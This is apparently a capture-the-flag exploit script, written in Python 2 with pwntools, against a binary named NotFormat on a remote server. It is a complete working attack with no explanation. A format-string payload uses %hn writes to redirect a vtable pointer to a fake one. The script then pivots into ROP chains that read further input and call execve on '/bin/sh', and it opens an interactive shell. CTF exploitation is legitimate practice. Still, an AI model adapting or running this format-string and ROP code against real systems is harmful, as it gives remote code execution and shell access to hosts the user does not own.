#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
from pwn import * | |
context(arch='amd64', os='linux', log_level='info') | |
elf = ELF('./NotFormat') | |
libc = elf.libc | |
fake_vtable_addr = 0x06CE400 | |
vtable_addr = 0x6cb3d8 | |
gadget = 0x43f17d | |
prdir = 0x4005d5 | |
praxr = 0x04c2358 | |
prsir = 0x4017f7 | |
prdxr = 0x442c47 | |
leave = 0x400b68 | |
syscall = 0x4683d6 | |
# io = process(elf.path) | |
io = remote('123.59.71.3', 20020) | |
p = '' | |
p += '%61821c%35$hn%3782c%36$hn%7070653c%37$n' | |
p = p.ljust(112-40) | |
p += '00000000' # rbx | |
p += p64(fake_vtable_addr+0x80) # rbp | |
p += '11111111' # r12 | |
p += '00000000' # r13 | |
p += '00000000' # r14 | |
p += p64(prsir) # rip | |
p += p64(fake_vtable_addr+0x80) | |
p += p64(prdxr) | |
p += p64(0x100) | |
p += p64(prdir) | |
p += p64(0) | |
p += p64(praxr) | |
p += p64(0) | |
p += p64(syscall) | |
p += p64(leave) | |
assert len(p) <= 232 | |
p = p.ljust(232) | |
p += p64(fake_vtable_addr+0x38) | |
p += p64(fake_vtable_addr+0x38+2) | |
p += p64(vtable_addr) | |
io.send(p) | |
rop = '' | |
rop += 'aaaaaaaa' | |
rop += p64(praxr) | |
rop += p64(59) | |
rop += p64(prdir) | |
rop += p64(fake_vtable_addr+0x80+0x60) | |
rop += p64(prsir) | |
rop += p64(0) | |
rop += p64(prdxr) | |
rop += p64(0) | |
rop += p64(syscall) | |
rop = rop.ljust(0x60) | |
rop += '/bin/sh\x00' | |
rop += '\x00'*12 | |
io.send(rop) | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment